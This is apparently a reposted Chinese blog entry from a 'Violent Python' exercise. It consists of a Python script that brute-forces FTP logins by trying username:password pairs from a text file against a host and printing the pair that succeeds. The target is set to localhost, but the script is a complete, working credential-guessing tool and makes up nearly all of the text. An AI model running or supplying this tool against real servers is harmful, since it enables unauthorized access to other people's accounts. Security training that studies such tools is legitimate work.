# coding=UTF-8
# time: 18-1-5: 上午11:12
# Author: Xifeng2009
'''
FTPlib暴力i破解FTP用户口令
口令以“用户名:密码”对的方式存储在txt文件中
'''
import ftplib
Found = False
def bruteLogin(hostname, passwdFile):
global Found
pF = open(passwdFile, 'r')
for line in pF.readlines():
userName = line.split(':')[0]
passWord = line.split(':')[1].strip('\r').strip('\n')
print("[+] Trying: " + userName + "/" + passWord)
try:
ftp = ftplib.FTP(hostname)
ftp.login(userName, passWord)
print("\n[*] " + str(hostname) + "FTP Logon Succeeded: "
+ userName + "/" + passWord)
ftp.quit()
Found = True
return (userName, passWord)
except Exception as e:
print(str(e))
pass
if Found == False:
print("\n[-] Could not brute force FTP credentials.")
return (None, None)
host = '127.0.0.1'
passwdFile = 'test.txt'
bruteLogin(host, passwdFile)
Violent Python FTPlib暴力i破解FTP用户口令
猜你喜欢
转载自blog.csdn.net/qq_31017793/article/details/78980862
今日推荐
周排行